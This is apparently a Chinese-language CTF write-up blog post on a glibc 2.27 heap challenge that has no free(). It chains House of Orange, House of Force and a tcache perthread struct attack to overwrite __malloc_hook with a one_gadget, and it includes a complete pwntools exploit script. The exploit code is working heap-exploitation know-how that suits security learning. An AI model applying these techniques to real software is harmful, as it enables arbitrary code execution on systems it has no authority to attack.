在学习了一段时间堆后,终于能较为从容、有思路地做题了
目录
前言
一、题目
二、总体思路
三、攻击过程调试
(1)House of Orange
(2)House of Force + tcache pthread struct attack
四、EXP
总结
前言
做完后看了几个战队的WP,或多或少方法都有些差异,我的方法可能比较复杂(代码量来看)但是自己上手,遇到问题、想思路什么的,收益颇丰。于是记一篇博客,既是分享,也是总结。
一、题目
自然是保护全开
经典的菜单,但是左边函数名一看,坏了,没有 free
看一下几个函数
add 里面,malloc 的值可以自定义,可以用 HOF (House of Force)
freechunk 里面自然看不到 free,实际运行了一下,也没什么用。
show 里面是按照字符串打印,需要注意 \x00 截断的问题
edit 里面存在任意长度的堆溢出
其中好像有一个 checksanbox 函数似乎是禁止修改 hook 的。但是动调算了一下,好像没有涉及到__malloc_hook(后面过程发现__realloc_hook禁止修改,但是__malloc_hook可以修改。。)
二、总体思路
拿到这题,先发散的想想,该怎么做。没有 free 的情况也算是很经典了,自然而然想到 House of Orange,能够在没有 free 的情况下,泄露 libc 和 heap。
此外呢?之前代码审计的时候看到 malloc 没有限制,完全按照自己输入的 size 进行申请内存,而且存在任意长度的堆溢出,所以 House of Force 也是可行的。
程序开了PIE,House of Force 能够劫持 Top chunk 到任意位置,想劫持到 chunklist 但是地址不清楚啊;那就考虑偏移,即堆上是否有能够利用的地方呢,我通过偏移劫持到堆的某个位置?或者劫持到 libc 上?—— 如果劫持到 libc 上,修改__malloc_hook,或许可行。但是堆上也有一个结构可以利用,而我做题还没有遇到,所以想试试—— Tcache pthread struct。如果能劫持 tcache pthread struct,就能够做到任意地址分配,实现任意地址写,再修改__malloc_hook。(虽然好像多走了一步。。但是能够保证 topchunk 还是在堆区,可以避免很多问题,此外,在堆区意味着只需要知道偏移,而不一定需要知道具体的堆地址)
因此总结思路如下:
House of Orange (泄露 libc 、heapbase)---> House of Force (劫持tcache pthread struct)---> tcache pthread struct attack (修改__malloc_hook)---> 打ogg
三、攻击过程调试
调试时自然是遇到很多问题,现在是 exp 通过后,因此就直接上正确的调试过程,不再做过程中遇到问题的一些解释。
(1)House of Orange
至此,House of Orange 的攻击结束,成功 leak libc 和 heap
(2)House of Force + tcache pthread struct attack
四、EXP
from pwn import *
libc=ELF("./libc-2.27.so")
elf=ELF("./pwn")
context(arch=elf.arch,log_level='debug')
def add(size):
io.sendlineafter(b'to exit:\n',b'1')
io.sendlineafter(b'add:\n',str(size).encode())
def show(index):
io.sendlineafter(b'to exit:\n',b'3')
io.sendlineafter(b'show:\n',str(index).encode())
def edit(index,size,content):
io.sendlineafter(b'to exit:\n',b'4')
io.sendlineafter(b'edit:\n',str(index).encode())
io.sendlineafter(b'size\n',str(size).encode())
io.sendlineafter(b'input\n',content)
io=process("./pwn")
gdb.attach(io)
### house of orange
# leak libc
add(0x30)
edit(0,0x40,p64(0)*7+p64(0x0d71))
add(0xe00)
add(0x40)
show(2)
io.recvuntil(b': ')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x3ec2a0
libc.address=libc_base
info('libc_base: '+hex(libc_base))
malloc_hook=libc_base+0x3ebc30
info('__malloc_hook: '+hex(malloc_hook))
# leak heap
edit(2,0x10,b'aaaaaaaaaaaaaaaa')
show(2)
io.recvuntil(b': ')
io.recv(0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
info('heap_base: '+hex(heap_base))
### House of force 打 tcache pthread struct
add(0xd00-0x10)
add(0x20)
edit(4,0x30,p64(0)*5+b'\xff'*8)
add(-138826)
add(0x70)
edit(6,64+0x8,p8(1)+p8(0)*63+p64(malloc_hook))
add(0x10)
'''
0x4f2be execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
edit(7,0x8,p64(libc_base+0x4f322))
add(0)
io.interactive()
总结
还要向各个战队学习,精简、直接、多解、花式利用
对笔者来说,算是酣畅淋漓的综合利用,虽然题目不算特别难,但是也能涨涨士气。与诸君共勉